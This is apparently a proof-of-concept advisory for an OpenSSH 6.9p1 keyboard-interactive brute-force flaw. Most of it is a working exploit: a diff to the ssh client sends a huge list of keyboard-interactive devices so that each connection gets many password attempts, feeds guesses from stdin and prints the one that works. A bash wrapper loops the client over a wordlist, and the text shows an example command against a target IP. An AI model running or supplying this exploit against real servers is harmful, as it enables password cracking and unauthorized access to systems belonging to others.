OpenSSH keyboard-interactive authentication brute force vulnerability

---snip--- diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c 83a84,85 > char password[1024]; > 510c512,517 < authctxt->success = 1; /* break out */ --- > printf("==============================================\n"); > printf("*** SUCCESS **********************************\n"); > printf("*** PASSWORD: %s\n", password); > printf("==============================================\n"); > exit(0); > 1376a1384,1385 > char *devicebuffer; > int i; 1386a1396,1405 > devicebuffer = calloc(1, 200000); > if (!devicebuffer) { > fatal("cannot allocate devicebuffer"); > } > > for (i=0;i<200000-2;i+=2) { > memcpy(devicebuffer + i, "p,", 2); > } > devicebuffer[200000] = 0; > 1393,1394c1412 < packet_put_cstring(options.kbd_interactive_devices ? < options.kbd_interactive_devices : ""); --- > packet_put_cstring(devicebuffer); 1408c1426 < char *name, *inst, *lang, *prompt, *response; --- > char *name, *inst, *lang, *prompt; 1410c1428 < int echo = 0; --- > char *pos; 1425a1444 > 1430a1450 > 1443,1449c1463,1469 < echo = packet_get_char(); < < response = read_passphrase(prompt, echo ? RP_ECHO : 0); < < packet_put_cstring(response); < explicit_bzero(response, strlen(response)); < free(response); --- > packet_get_char(); > if (fgets(password, 1024, stdin) == NULL) > exit(0); > if ((pos=strchr(password, '\n')) != NULL) > *pos = ''; > printf("%s\n", password); > packet_put_cstring(password); ---snip--- After applying the patch you can use this shell script to make the password attack from a wordlist: ---snip--- #!/bin/bash # run as: # cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target # while true do ./ssh -l$1 $2 rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi echo Respawn due to login grace time... done ---snip--- For example enter this command: cat wordlist.txt | ./sshcracker.sh test 192.168.2.173